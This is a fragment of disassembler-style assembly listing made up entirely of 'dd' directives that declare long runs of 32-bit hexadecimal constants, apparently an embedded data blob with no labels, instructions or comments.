		dd 6AEBA700h, 24A63CAAh, 0CBB101E0h, 7EB81BD7h,	5308052h
		dd 64CCDD32h, 0F92403C9h, 6FE960AEh, 9A8088E2h,	0DA85E68Fh
		dd 0B28F72Eh, 0EAE80601h, 718C4C20h, 0FB49861Ch, 2D0013B0h
		dd 0AB5D9B5Bh, 1D0B86Ah, 42A2DE73h, 0C809F629h,	116F0BF4h
		dd 2DB18061h, 1FF5DF67h, 0C328CF85h, 3C46D99Dh,	590009CBh
		dd 36D0E888h, 60B86D31h, 69AC7804h, 0D900567Ch,	74EBB78Fh
		dd 7354D67h, 0E18C7DD5h, 988280ADh, 330B21Ch, 775249D2h
		dd 8E86063Bh
		dd 618F1FB6h, 0FD0FA307h, 1300F383h, 0A6B41Bh, 4B08E7DCh
		dd 0BB2A41B1h, 0AEEB3A38h, 5E06FB54h, 3C50A76Fh, 6B009DD7h
		dd 97C690D0h, 0F570368Eh, 7B838A0h, 0A69450E1h,	0FF018D73h
		dd 178C6DBAh, 8181811Dh, 0E9FD3D99h, 0E041F8FAh, 0E63B3Ch
		dd 0A09A90A4h, 18EEC91h, 240E0D69h, 8F8581BFh, 20F04639h
		dd 0ECEAFA8Dh, 8469C0FDh, 0BFC0F668h, 21ED8007h, 2D4125F8h
		dd 24E0BC73h, 0E2692AF1h, 4AB800C0h, 700DE16Eh,	9001E7Ch
		dd 394F7DF0h, 0CD3BFEDh, 5184B1D1h, 0DF019071h,	2B138B2Ah
		dd 8840A540h, 0C304A716h, 0F3E8EE88h, 98833EA0h, 62841200h
		dd 1E5DA441h, 0DCB2546Ah, 0CF7107D0h, 70D2B32Eh, 0FDF0C94Eh
		dd 9FE2D00h, 0F8AC325h,	0E2BE1FEBh, 0D0EA4027h,	0C17DFAE6h
		dd 0E9D3Ah, 7A4593ECh, 6DF9BFFh, 600FC0B7h, 5C00D1E3h
		dd 93330981h, 78C14F58h, 83B8C3h, 2A74B7C6h, 4BA4982Eh
		dd 0C18C48h, 15EFD237h,	0A7758A8h, 0BA6A316Ch, 703080ECh
		dd 9F3FCA64h, 8701D800h, 2F8EEAD5h, 68821B06h, 239DD1BEh
		dd 0C0A8F9BCh, 7600A94Fh, 0E80C6508h, 2EC0DBDh,	7886A321h
		dd 849A6FC8h, 8DD65280h, 0F1006A85h, 9A0CA013h,	14C9B3FAh
		dd 0FC32B96Eh, 0EBBA763Dh, 82A21C38h, 0AC8A4E04h, 59803BDEh
		dd 0DC1DE2h, 2B0B7D31h,	0D517F532h, 7F154092h, 0E0B207h
		dd 0F6021DA8h, 0E369483h, 74CC5270h, 76EAE520h,	0E01E9D2h
		dd 0B9642B4Ah, 0B844F3BFh, 0E00A3483h, 429CE38h, 11029154h
		dd 8F208860h, 42C8C212h, 0B8688E00h, 59B98Bh, 79A2CCCDh
		dd 7899EA31h, 986A9029h, 0DE85FF00h, 0E5DBD1h, 11BA2D77h
		dd 7F96538Ah, 59C0697Ah, 0D4415ACh, 0EA67DA1h, 0FABFD580h
		dd 0F5CA00F6h, 87EC5192h, 19A5F0Fh, 58B50166h, 0B560E265h
		dd 0B2081E2Eh, 6ACF05B1h, 14E840A4h, 5C43B012h,	13916D00h
		dd 58DAF4CEh, 4E280386h, 8B17EC50h, 69998FA8h, 7C892160h
		dd 0B83CF706h, 2CF500E8h, 8BE21FD7h, 90158BAh, 0A5F1CA86h
		dd 80FEDA38h, 8C3DDDF8h, 5DBE12ECh, 729000C4h, 0D4ED671Ch
		dd 6D01D714h, 60948084h, 3C6B0Dh, 0D20F22E4h, 491D8DF4h
		dd 0EB38DB04h, 2C93033Ah, 77D3C82Dh, 8EF90097h,	65B8847Eh
		dd 360E138Fh, 0C7F2CCBFh, 0A3AE9919h, 37AB1C0h,	580D0539h
		dd 11004F07h, 24923B2Bh, 0C8E647h, 48991E49h, 0A39CF8DEh
		dd 8F42AE3Dh, 40183A7Ah, 722E8E89h, 1E1F0752h, 59B58848h
		dd 90F7F490h, 5A69C800h, 0BE67088Ah, 29DD0562h,	8514DE53h
		dd 0A9B8533h, 80A4E444h, 0AE264C82h, 0B74CB027h, 0CC196066h
		dd 41D34A6h, 4F4C8C1h, 13BF4011h, 18011A09h, 79781EF7h
		dd 60077DAh, 93CD72D4h,	23CEA82h, 3E7D5D57h, 98409F9Eh
		dd 6001847Ch, 26360849h, 0A44831E8h, 43F49Bh, 0C0821097h
		dd 58698472h, 4045C800h, 834228EBh, 0EC8F486Bh,	0F080F988h
		dd 0FCC943C4h, 0A85701C7h, 0F5CBD3D1h, 120621Ch, 875F682Ch
		dd 96D1F6B5h, 48CB33C4h, 4E00DC67h, 0B855C184h,	0B42CE557h
		dd 0A3609814h, 1B724h, 98B82837h, 9F9DE0D9h, 0EC356200h
		dd 0FD6E95A9h, 52CF0077h, 48DA8F1Eh, 8214EFB0h,	52548A6Bh
		dd 149600F0h, 1178A1B1h, 4D1903C0h, 1B731D8Eh, 0C68668E0h
		dd 89BC9C3Eh, 837A0EC5h, 0F0B7C448h, 9894C22Ch,	0EAF71629h
		dd 0B25820EEh, 47B25DAh, 35D211C0h, 10C9A7h, 0B3DD9EE6h
		dd 78CEA261h, 17047C7Ch, 0A38E82C2h, 5E10B897h,	921469h
		dd 3835089Dh, 7D5546D5h, 1C768A00h, 4DD10C8Ch, 58853FFDh
		dd 802F879Ch, 9367CF13h, 894C085Ah, 91280E2Ch, 903D8B31h
		dd 13E8A58Ch, 217DB1B4h, 320C6F88h, 0AA080048h,	7FB26587h
		dd 57D80031h, 5C44D17Bh, 18002332h, 0ED9C2DB8h,	13E3FEEh
		dd 762F86AAh, 0C1873AA6h, 2C982345h, 5B00B857h,	3CB12539h
		dd 0EF8F01ABh, 0DDB8039Ah, 0B782E8F7h, 0B30020B0h, 0F9FCD9A9h
		dd 48AF0754h, 0D051738h, 40BF6CE8h, 24C73AD4h, 0F6002378h
		dd 0EBFD5267h, 460A5Dh,	0C71F3A4h, 0EFB16C84h, 0DEA74500h
		dd 4D08F52Dh, 2FC401A8h, 27631241h, 20922159h, 4577742Ch
		dd 67306F50h, 0CFD6FE00h, 4C8EE6FCh, 0C95D009Fh, 31343A9Eh
		dd 0B52E8B2Dh, 0C44E4C17h, 9740FC07h, 0A0E486BCh, 17D29807h
		dd 0B5B6FBECh, 3C320059h, 0A0EB54C6h, 0AD037B9Eh, 2C61EE5Fh
		dd 0AA54C744h, 60DE57C2h, 15BE92B8h, 0CC8B1F2Eh, 958ACC00h
		dd 0B1E1C69Eh, 19977830h, 0B06E9881h, 0B109185h, 28A2698Ch
		dd 4C40FB67h, 0F4A866CCh, 81888FC7h, 0E0A34191h, 1700EB2Eh
		dd 62766FF5h, 0C00D68A4h, 865A4F40h, 0C1C0B16Ah, 0CD443649h
		dd 28AB00DFh, 1A52A5DEh, 0B6007B64h, 40EEF007h,	3AEFE2E8h
		dd 2886A6F6h, 99E76945h, 6AB03300h, 0EA542191h,	80B8003Bh
		dd 0D7E8CDF3h, 5200A8A4h, 574B3169h, 17089A81h,	98CB734h
		dd 0A0016680h, 104F0428h, 3B99D60h, 90C6FB7Ah, 0D38885FCh
		dd 8C00A1E5h, 0F7EBBDC7h, 28813A9Bh, 25A89540h,	34206AC3h
		dd 0C47F2E18h, 76AC8C01h, 0EF5D0E4h, 0B8BEA048h, 170809AAh
		dd 3C84C265h, 3234CC76h, 0A7003AEAh, 0EF37EC38h, 1127C7h
		dd 0D97ADBCEh, 135D3953h, 780B0C2h, 8A1021D4h, 9574E098h
		dd 83D6BC03h, 0E8115A2Fh, 0FB24D2D3h, 979A430h,	0F64F0E9Bh
		dd 344F400h, 8E37F0D6h,	0EF805071h, 2E7B3386h, 6ED4AA1Dh
		dd 6AA881FDh, 0FCB6DCA3h, 0B80E3F71h, 6F218A69h, 0A2D440CFh
		dd 6322E827h, 891C91FBh, 73C7D103h, 0B0F02E4Bh,	1BFF9B11h
		dd 290131EAh, 82179000h, 7F56CFC6h, 2C605CA5h, 0AB0B5A80h
		dd 3B0FD09Ch, 5EBDE3h, 2B416B87h, 54AC980Eh, 3CAB86Ch
		dd 2C4AD166h, 79668E1Fh, 13C70AEh, 8DDF46DDh, 23B27FC7h
		dd 0C204AACh, 7A97FCAAh, 1974E681h, 989DCFA3h, 5892D0C1h
		dd 0D1F3D300h, 0DE9B6B43h, 2298B056h, 22E7F615h, 9D9E00C0h
		dd 4377CDF8h, 0F4B900CFh, 0BDF60D85h, 0EE0994E7h, 405409D3h
		dd 5D7CF0ECh, 4C48DCCCh, 98E91E02h, 5E41E809h, 81A44853h
		dd 7E9C88h, 5CD419D8h, 30600873h, 0C0CBD11Dh, 54F80D80h
		dd 998AFBFh, 0BB29D23Ch, 0E871B000h, 94946CFFh,	43FAE587h
		dd 794F20FEh, 305B3437h, 0F1C9E669h, 0D0EC92D3h, 8F8EFA3Ch
		dd 800EF630h, 838A3A22h, 0E9A26F65h, 0EC60F007h, 8B3B5339h
		dd 16F60001h, 7867DF9Bh, 0AB4E31h, 0EFDC7B18h, 0C90E2834h
		dd 6BEAB054h, 0EBC18179h, 8865F425h, 0A01ED033h, 0B303C077h
		dd 0E75CDE64h, 9730BB03h, 0EACCD1DAh, 0A347116h, 39982228h
		dd 762504A2h, 706010C0h, 0C52E007Eh, 0FDDDF0B3h, 0E90C1936h
		dd 88AB4ECAh, 88A12864h, 6060E4C8h, 1DE5D1EBh, 0E4009E5Bh
		dd 19E2B806h, 4C4D981Fh, 880686Dh, 0E0DC43A2h, 0F0401C4Bh
		dd 8E21E4DDh, 380E03E3h, 493DE9E2h, 1E61C0E5h, 0FB004A1Bh
		dd 8F4624B0h, 0F2080D12h, 39E00362h, 841ECD2Eh,	0BA76493Ah
		dd 0D92A009Fh, 0B8AFF917h, 6BF7005Fh, 0CF3CECB2h, 3A053DB7h
		dd 66E14BD1h, 0B8FC5CC9h, 4F440DC9h, 21A9B96Dh,	96D6605Eh
		dd 0E8CE7905h, 944902EEh, 6508820Bh, 2C144007h,	551B3C43h
		dd 4DE3AD00h, 8C382EFEh, 0DBFCF30Eh, 600762A4h,	4C3C21E4h
		dd 9DD9C4F2h, 3D1A8400h, 74CA7F47h, 0AEC1005Bh,	0D28B2CEBh
		dd 651C896Dh, 0A444A9DAh, 20886682h, 60EF113Dh,	0A12B07E7h
		dd 770035A0h, 1FB78381h, 28E5CEh, 0BE4D0E0Ah, 81C9B61h
		dd 605E0112h, 0AF7539F0h
		dd 85090097h, 80BF325Eh, 689018EFh, 0FEF91904h,	0CCA23DEAh
		dd 0F33E960Fh, 0E01FF8F9h, 0DC00C55Bh, 4D529005h, 15504C2Fh
		dd 0C4831C8Eh, 4DF007Eh, 0FAD478A0h, 89013A7Ah,	0FF0F7947h
		dd 343284B8h, 91106F18h, 0A400606Eh, 216DC9C6h,	16EEF3FEh
		dd 99AD4F6h, 0A1895410h, 406810A0h, 0B5E413B8h,	3A5A9205h
		dd 68C20E1Eh, 2DCB20F9h, 391FD958h, 0E540E654h,	6494C108h
		dd 2ED02ACh, 7C8EEA50h,	0DAB88C8Ch, 80E46F48h, 56E9690Ch
		dd 0E3EE7Bh, 0B5766A45h, 4CD0C2AFh, 0C110E848h,	36A3DD4Ah
		dd 7310BC8h, 0C8C686DAh, 696712D2h, 0A11E2CD2h,	45DCABEBh
		dd 0A86C4600h, 6D09DF4h, 820FC317h, 0D71E298Ch,	6D4A3413h
		dd 0B83F4BCh, 6B59FDh, 0BE717C2Ah, 3F92B215h, 0D1115717h
		dd 0A4109EB1h, 54EEEB45h, 39C28047h, 0D1802808h, 78990216h
		dd 8600B77Bh, 0EC5DA429h, 7B2D534h, 2131DEFh, 0AC00E9CCh
		dd 5541077Fh, 0B3897900h, 0DA08F3F8h, 40064AC9h, 71BA588Ch
		dd 733077D5h, 578D722Dh, 0D90E1705h, 8F460027h,	0E09C4F52h
		dd 856C2A0Eh, 11044BC9h, 4220DDB4h, 0E7B90383h,	1BD279ADh
		dd 4A9B2BD8h, 0AD00865Fh, 8A30D83Fh, 0F80430B8h, 0D9E98F39h
		dd 0B639BB00h, 290EB18Dh, 0CD38005Eh, 9F6954ECh, 0C0A0B93Eh
		dd 0CB278B8h, 223D4307h, 7042BDEBh, 1480E031h, 1DCFF2C0h
		dd 0B7E7C2Dh, 3C989C66h, 553D1FC4h, 521B06C0h, 4C48F0BBh
		dd 0D1109C45h, 8ED080D4h, 77CDA547h, 4438E9C5h,	0CEBB38C1h
		dd 70221Eh, 49E3043h, 1E40E401h, 945C91Ah, 0C41008F4h
		dd 325BB1E0h, 81FE5049h, 9081E324h, 6773A03Dh, 10AD61FAh
		dd 2F615FC7h, 0A22D7500h, 0CB866C5h, 41980182h,	9F3929Bh
		dd 7C6C30A4h, 340EB22Ch, 0D428ED40h, 68B432D8h,	52231018h
		dd 1A58E806h, 0C3C602EDh, 21D71939h, 94A0786Ch,	87287C45h
		dd 4100809Eh, 0A41A7DD1h, 3CEFE13Bh, 0FD869F1Ch, 59E8696Ch
		dd 44AF7800h, 0B433A85Bh, 0E0CC0046h, 0CF56394Fh, 981881D9h
		dd 79A80D4Eh, 88E6E0B2h, 78A320E8h, 44D2183Ah, 30EA6128h
		dd 683E2E14h, 33AE80B4h, 3001FCh, 1C1656D8h, 473FFA4Eh
		dd 0F0DCC805h, 8CCCC58Fh, 558C00FFh, 0D50308F6h, 273BE874h
		dd 2DDD8595h, 0C447841Fh, 8880F99Eh, 10740C7h, 41440D37h
		dd 726F7073h, 79D80008h, 0C3E20FFFh, 4FD600C0h,	0B1DC99F1h
		dd 49C19684h, 62669BEAh, 1BA85424h, 41BD6AADh, 189358D8h
		dd 0D9A2C00h, 0DC603BBEh, 33650952h, 4000DE71h,	0DF5D5A08h
		dd 488F94Ch, 0CD111D19h, 3E4AECE0h, 2101FB0Ch, 0B1B5A238h
		dd 2D606D7Eh, 0E808139Bh, 1A01CAh, 0F2DB3483h, 0DF6278F0h
		dd 80EC0748h, 0CEED3187h, 28C404C5h, 0CC3C3EF4h, 0C1007AB8h
		dd 9DE8CFB3h, 5CA832DEh, 7680AC1Fh, 4507AD83h, 0A9972B04h
		dd 0E4D87146h, 3D4100DFh, 0D4F04A85h, 0ED0E93D1h, 806AC2D6h
		dd 0A8B13CEEh, 0DA86023Dh, 55AD1B91h, 5B2E5460h, 0A414B500h
		dd 76D93408h, 0B4D04853h, 64997122h, 1BF11180h,	2C108C2Ah
		dd 11049A59h, 6E200F8h,	2FA2F3Bh, 13D900BDh, 0EAB56421h
		dd 10606DFFh, 0CCA7D6E1h, 1F32005Ah, 0E44A41C3h, 0E000E8B7h
		dd 45571463h, 0F6092Ah,	0B9CC8FEFh, 5282F33Ah, 1E40A549h
		dd 90ED35ECh, 1D9DA8h, 0E255E7DFh, 0B8FE0B74h, 0A86B8229h
		dd 80500027h, 0A0690DD3h, 0AACA64h, 0C9B3CE29h,	0D5073D2Ch
		dd 0DDFA6503h, 78D1FCCh, 24AE8AF9h, 8293B083h, 377F7B0Fh
		dd 18814B25h, 0B915F4E8h, 0CEE00538h, 5944A266h, 0A97F01B5h
		dd 0E68A6364h, 88432478h, 0CA7A6A00h, 0B306F2E5h, 1100B474h
		dd 1A44CE1Dh, 5951B6h, 0EE1E9720h, 419A691h, 0A29CBC05h
		dd 88C00C17h, 0F1B8C37Ch, 0A8C2E882h, 105106D8h, 0F8895C00h
		dd 0CED7F81h, 8CC34C9Ah, 15708FA6h, 0BE303709h,	60A0CA35h
		dd 0F0F75D4h, 29CD600Eh, 0C3707D41h, 94C4FEFBh,	904F1C28h
		dd 0AB49990Eh, 64160E3h, 809835h, 65C1A59Bh, 0A97CF81Fh
		dd 0D3390800h, 5DBCC079h, 0DDA1269Ah, 143820C0h, 0B8816108h
		dd 0B054FFC7h, 5D3638B8h, 2D98F500h, 7D0DE14Ah,	0C1F701EFh
		dd 81ACFA02h, 80086865h, 0BFE7A81Ah, 32B30084h,	71AF2F87h
		dd 0E800EECCh, 0D6FA10BCh, 0A56B3Dh, 2A883BD9h,	28CCB280h
		dd 8EA1F000h, 0CF450DDEh, 0AA8B91Eh, 7D68FF8h, 30893725h
		dd 81DF808Dh, 10DCBF2Dh, 20788Ch, 4F83B656h, 0F5963B5Ch
		dd 0ED7D9100h, 143D600Ah, 86B20933h, 1CE49B78h,	0D6181600h
		dd 0AE64592Bh, 0D57F0080h, 69A92A15h, 949CB4F8h, 0AC9D8941h
		dd 94194F0h, 0C59C0AA7h, 202FDF02h, 68C0AF42h, 0D488A357h
		dd 6FAB0023h, 0FD58C6E8h, 0EE011BEDh, 0D1F724F3h, 0EBD80B37h
		dd 111F29Bh, 3D2EB231h,	2CE72D03h, 0C27F8068h, 0FBAA243h
		dd 0F7265162h, 8BB008D6h, 0C6914580h, 0F9F9EE03h, 79692D4h
		dd 0BC3CA07Dh, 0ED181039h, 0C1DFF607h, 40C73BCEh, 90983E64h
		dd 0BEA92D2Eh, 0A395FC10h, 24E10800h, 0FD916013h, 96E87763h
		dd 0FE078290h, 1CDA3AEAh, 5402AF98h, 8C6879CDh,	8094C017h
		dd 98C001E4h, 0D0353AAAh, 0DA123EA0h, 0B464A830h, 99770014h
		dd 0EE0CC2C7h, 0F12C539h, 7800AA08h, 77792C4Eh,	0BD878C1h
		dd 0C0C81C54h, 9883BC20h, 0D9389B4Dh, 58848144h, 42B967EBh
		dd 968D9D2h, 5B02B385h,	94A08C7Dh, 280A2317h, 78DEE424h
		dd 0B58C49E0h, 6FF2270Ch, 0E8A0EC30h, 4576039h,	3677CCCFh
		dd 24388C8Ch, 722322h, 9DB54490h, 282CB85Dh, 0E22C54FAh
		dd 10060D09h, 39831Ch, 0CFF83762h, 2DE4D554h, 587F4907h
		dd 0C055AE4Eh, 801C6882h, 0EFC322A0h, 43150BDEh, 0FC002E1Fh
		dd 0BE3B0E3Ah, 81357F32h, 9805A6Fh, 0B3AF29A4h,	72BCF083h
		dd 117A3AF0h, 8F756A00h, 3624ED78h, 39430408h, 82E0FFA8h
		dd 88E07B80h, 6D2AF79Ah, 0F400F0BBh, 7DEE263Bh,	6D5AEFAh
		dd 8183F2F8h, 280398F5h, 0F031A902h, 0EB0780D6h, 783A4CD0h
		dd 0BB224900h, 0D128CDE0h, 0D25DEA02h, 16C8A82h, 0E433DCD7h
		dd 9CB12B14h, 0E934DE87h, 877D9320h, 4C6006Fh, 0E71E0B45h
		dd 822CE8E1h, 0CC40E065h, 1219939Dh, 8F99544h, 0D580FDC8h
		dd 13538FDBh, 9651124Dh, 2500E2F4h, 0BA20C86Ah,	453000F6h
		dd 0A7CE7D2Eh, 0CC0C05C1h, 495106FBh, 0E0E463h,	3476DCB7h
		dd 8679A821h, 17FBA20Fh, 0F56700ABh, 5B955920h,	41F420FEh
		dd 8F01422Dh, 81E40C01h, 0C4D86429h, 0C3E11C4Ch, 6B17FC06h
		dd 0DD407F4h, 70483B7Ah, 0D40052F8h, 0A21923A7h, 18330FC9h
		dd 21B307B8h, 350EE637h, 60FB5EC0h, 0F2A1B463h,	0C9EE09E1h
		dd 74683AE8h, 990E9DECh, 17842DF6h, 0E6B56830h,	60520173h
		dd 0A8A61F9Eh, 8D042080h, 77CF914h, 71A00744h, 50158386h
		dd 8B0098CDh, 53CFEBEh,	0B16E4FFAh, 45E8C883h, 0FF138728h
		dd 9B134C98h, 0BE9492h,	191809C4h, 0B100B829h, 0B0BC612Dh
		dd 95303428h, 1B7BB801h, 8609D748h, 98D00C7Fh, 1DD4624Ch
		dd 0C7ADE8h, 3C583ADAh,	1705EFBDh, 0AE347068h, 0DC21C4FBh
		dd 9A122F8Ch, 0B0C8230Eh, 692D003Eh, 240F35C4h,	0EA000DE5h
		dd 0CA2306C7h, 264149Eh, 0E17754ECh, 34F9E889h,	0C080340Bh
		dd 0E1658308h, 90548705h, 78991ADDh, 206AC427h,	0B367FB7Ch
		dd 78400ADh, 0D13E157h,	0BF089AEBh, 80E26FDBh, 0FD3E9EBCh
		dd 0E106835Eh, 676494C0h, 639102B6h, 0C7B17C24h, 38007C5Ah
		dd 0EBC58FBEh, 2EFA12BDh
		dd 0C0988E81h, 1C32F96Fh, 4C318060h, 9070342h, 0E418C227h
		dd 3130345Eh, 0FAD89176h, 5C4C1C8Dh, 806D2A5h, 17856FA8h
		dd 0C8E20BB2h, 0D01C7512h, 598430D8h, 0A6D87300h, 226B0443h
		dd 3B22577h, 3F17D0E6h,	8003ED9Ah, 0B0EF4415h, 98DF09E2h
		dd 0BC8F1CE0h, 0DB02C8Eh, 88397379h, 1204B7D0h,	0C9BC2007h
		dd 0CB000F83h, 0B3715D54h, 0FA76BBh, 0E44D1E7Dh, 13736229h
		dd 0D1F4ED14h, 0D0204F58h, 359D8Ah, 0E2E1C7AFh,	9CCA8E74h
		dd 0C8146200h, 85DD6DD1h, 24100428h, 40E5603Ah,	8792E27Dh
		dd 97E000E1h, 0CBFDC7CCh, 1C004D10h, 0B8C87085h, 0A069C92Dh
		dd 0C0589294h, 85152909h, 0CC0AC160h, 0E84DD011h, 0CFDDED00h
		dd 0BFA7D778h, 38B8E7C1h, 0BDEAC168h, 5CFA8E27h, 178A11ECh
		dd 0FF01A5B2h, 0ED47D40Bh, 78A63FDDh, 0B259274h, 740115B0h
		dd 30A42470h, 53791EB4h, 0A82DED0Bh, 9164A4B8h,	270004E2h
		dd 0EB5E9DA6h, 0AB00ECD2h, 8D452062h, 0E35C85h,	9213DEA3h
		dd 2D15A047h, 61FEBC1Eh, 18ECE100h, 0D7F04Fh, 86DD3D69h
		dd 0CA5F8C29h, 0EB493004h, 90AD4683h, 2C24544Ch, 0CD2205BCh
		dd 0C268001Eh, 0A5CE846Eh, 1860A227h, 0C026E8B0h, 90A46CA1h
		dd 52671F57h, 9AD06E48h, 5C5DB5Bh, 53626AD9h, 0EA2C804Ch
		dd 64967E0Fh, 9411740h,	350E008Ch, 8DF6A99Eh, 637C111Fh
		dd 61BB6A30h, 1382A4h, 0EEEC1234h, 0C6C5AD4Fh, 0E0A007E8h
		dd 950CD81h, 8F07EACh, 18A11C6Bh, 0E0DEC34Ch, 97BA132Ah
		dd 0C2441F6Dh, 2B128FECh, 0DD713CE1h, 40402B69h, 0DE2ABCD5h
		dd 38F2003Fh, 0C8AAB24Eh, 0A4996D34h, 0F779B000h, 7C127A2Ch
		dd 173D71FBh, 3083E899h, 6416154h, 4E80DCB4h, 24478A6Eh
		dd 0D3530069h, 0DE20E12Ch, 8302B284h, 0E81841ECh, 0F8107A39h
		dd 8DE4E761h, 7E9C0142h, 274A0E9Bh, 0D0545743h,	0B97F5823h
		dd 4016641Dh, 0B5FDC9h,	444B7528h, 202104A7h, 0C059B9ABh
		dd 93F9BDECh, 0EA006190h, 516AECFBh, 1156F79h, 90695FF1h
		dd 0D8B2F814h, 410037D0h, 33653E74h, 3C625287h,	7EA360h
		dd 35B0156Ah, 46F359BBh, 8ACC0906h, 12496076h, 6EF44Dh
		dd 0EA789205h, 0CC0372F7h, 1A733C53h, 54C0CF49h, 3DE5A22Eh
		dd 908FD21Bh, 0EA14CB2h, 836176C9h, 891B849h, 170CB0C4h
		dd 0A87E2443h, 9A1D34h,	97F56F72h, 0A3DA0DAh, 98A930BAh
		dd 0C7A1F1h, 56433F1Ah,	762F7D85h, 7FBABF3Eh, 8755100h
		dd 0F58EF099h, 94471F3Dh, 72E580D3h, 244D3BE2h,	2ED1C700h
		dd 281343BCh, 595B60BFh, 7C8827DFh, 0D7829200h,	0AE68EFAh
		dd 0B30C309Ah, 697F0820h, 31C37C00h, 9E97BC43h,	0FFD40770h
		dd 31A76F4Eh, 0F8D3AEEAh, 73004177h, 0E17F977Bh, 18BF5A9h
		dd 2365044h, 53B0D425h,	0F2BA8D80h, 0C0A3B884h,	7A973346h
		dd 0B8C5BF13h, 7C026EBCh, 0A8494D54h, 5B32CC90h, 4ACA3C00h
		dd 4F63ECF4h, 0D6611487h, 9BC0D0EAh, 38E6A0FAh,	0DF0034B0h
		dd 69F8384h, 0C0AD4BE4h, 0E0A76138h, 0C009B33h,	51F0FEE1h
		dd 11E348Ah, 186DE671h,	0CBF74E52h, 0F490A100h,	5CA04188h
		dd 0CA721B4Ch, 71033AE7h, 0E4B92B6Ah, 19DE361h,	6BBE1BA9h
		dd 5050999Ah, 74472B0h,	642FD000h, 0BA35F2Ah, 0FB53B28h
		dd 6273CA80h, 0DECE8033h, 192C9E01h, 27ABD6B9h,	0FCAE5180h
		dd 9769BF6Eh, 8C60213Fh, 0A12288B4h, 1BFE003Fh,	0ED5723F3h
		dd 0DE389D05h, 5C6500A9h, 0D9F98466h, 9B7100CCh, 18D71064h
		dd 0ED550C62h, 0E128F570h, 963EC91h, 3F0FB48h, 0E7B9311Eh
		dd 94A8001Bh, 89C0DB32h, 0FC24FBBCh, 3B0574F5h,	441F8B40h
		dd 82E7BF03h, 0F15DF073h, 0C9D8007Eh, 55677BC3h, 0A0241027h
		dd 5300CC1Ch, 99953291h, 63E20087h, 0B87F4BA7h,	38000C61h
		dd 51205662h, 864C114h,	58A426CCh, 24D1F103h, 8C40FDADh
		dd 51F54138h, 9C2F0368h, 0B476E2C3h, 56BF2CC8h,	3A849001h
		dd 0C06B36ADh, 0A41EC88Ch, 65547749h, 970103E0h, 682BE127h
		dd 0F2C80D11h, 69320067h, 79C215C6h, 203B0406h,	800B3D98h
		dd 66D79209h, 388390B9h, 78124689h, 0F4EC2077h,	1E007E19h
		dd 91C5F6C1h, 7CF09Bh, 1BB6FB33h, 6A783CBFh, 262D8D0Ah
		dd 84006CA0h, 68D49034h, 6F570D65h, 0D4516779h,	73F499CCh
		dd 77BAB500h, 0D5101A6Dh, 0C1F80043h, 0F994FE44h, 0BF3BD372h
		dd 3112808Eh, 2B6D4AB0h, 2A64794Bh, 29839ABh, 0F16E9A49h
		dd 80E01EC2h, 6ECE673h,	63344C03h, 5E3F95h, 3E47A028h
		dd 2E872C55h, 201B1E00h, 6802BE85h, 1DF8A482h, 800C566Bh
		dd 67EE7EA9h, 743FA291h, 0DD361F84h, 8C5D95C0h,	0C0F1D161h
		dd 70F75181h, 793093E7h, 3E2DE166h, 0B87C170Dh,	0CB10077h
		dd 0A12298E2h, 2980F361h, 67D84A2Bh, 6EC7390h, 77615F1Bh
		dd 0D0F416Eh, 20C62D95h, 0D6E4B526h, 0DC994CC0h, 0DF9F9200h
		dd 6CD393ACh, 1CA18C0Eh, 0A39B879h, 87621C48h, 0C53CC07Dh
		dd 0F70EC881h, 0A483EA02h, 60BF3393h, 2563B34h,	2651D276h
		dd 0D8AF0CB9h, 1449622Ch, 8EB55B00h, 4AAA7960h,	0AC281809h
		dd 0E60C2959h, 3BA0C68Bh, 0A05488E0h, 0A3E80082h, 0D4E7AE0Ah
		dd 0F9E27958h, 0D53F4C00h, 0EC15941Dh, 0D3DEEDFh, 5AE04E6Ah
		dd 1D882339h, 0F79E7304h, 0D412BCC0h, 918BCFEEh, 8D7A00ECh
		dd 0EDCCD3A5h, 3C829328h, 0F673AE0Eh, 0B91DE07Bh, 6523FBh
		dd 865CAC4Ch, 498D5BF8h, 31196603h, 0DBEDE873h,	0EC32C853h
		dd 0B47A2489h, 7E5D11C8h, 3510180Ah, 0EC01B867h, 0BB2671DAh
		dd 0FF8048h, 0E9B0B8EDh, 0C0185AADh, 0C9A6603Eh, 0C0904834h
		dd 1D616307h, 0E70001Ch, 8E432883h, 21C05599h, 0CDED3246h
		dd 0F91E0919h, 9010212Ch, 4D3A280Ah, 8AFB0090h,	2C1DCD53h
		dd 21DE63DDh, 0F91C208Dh, 55014CA2h, 0B8B3CDFFh, 3FD94070h
		dd 5E032058h, 0D0253EF0h, 0A21C1CCDh, 0D655F50Fh, 0C200FDA2h
		dd 0B8F8C74Dh, 812200F6h, 0B731BF36h, 8B3BEAF4h, 0A43E807Eh
		dd 2724831Bh, 0C152609Bh, 9A585B04h, 10913300h,	0F0600246h
		dd 0B8134A6Eh, 0D5884423h, 6DDD2700h, 8BF3B29Ch, 3D51000Dh
		dd 0EA3F9F50h, 4098B1ADh, 34B9FC18h, 2D20E70h, 434D2620h
		dd 40C6CC60h, 27648204h, 0B4887852h, 220EC4Ch, 0C6F887C2h
		dd 0DAC04889h, 4C90834Bh, 0CC0A491Fh, 0FB99D042h, 67D4406Eh
		dd 380F0034h, 83DF8E9Dh, 79305431h, 73845163h, 19550042h
		dd 0AA4534E9h, 3839467Bh, 8EC105ADh, 0A040298Bh, 7F0CE062h
		dd 0FD3E00C7h, 0A471BDF1h, 53141861h, 9FD08269h, 0A3304480h
		dd 3BE94866h, 0F7870486h, 0C2DB1077h, 4460C6AAh, 7F00D629h
		dd 59923BF5h, 2188F80h,	0A47AA5A7h, 30E48C2Ch, 3BA66310h
		dd 76720078h, 0A76EBCD6h, 0FD0CD808h, 79488BB1h, 7EC5005Eh
		dd 9AD67CF9h, 723C2A3Ah, 0E2FF00E8h, 732B20D0h,	49C01792h
		dd 288209Bh, 9901898Fh,	44D2A436h, 0F9D8FCDAh, 7CB51FA1h
		dd 0C7CB8904h, 40755404h, 778DBEEAh, 4B11C06Bh,	0C29243C6h
		dd 0FD0E6300h, 0F7691A37h, 457C90ECh, 0DD94D054h, 0C84C0200h
		dd 0C4830425h, 40994ACBh, 4592A808h, 4E767ED6h,	46CCDC00h
		dd 418E05C7h, 7CB700C9h, 0A1E9D9E5h, 6A2C364Eh,	23405478h
		dd 2AF7CCh, 871AD9CFh, 7843C7ADh, 496DF200h, 2EA7E320h
		dd 9F70000Fh, 0B3883CB7h, 0E84C0C60h, 73268444h, 1F504C8h
		dd 4F94613Dh, 84F068E2h, 5E22AD20h, 0D3AE4B00h,	48009691h
		dd 375897B4h, 4F1EE30h
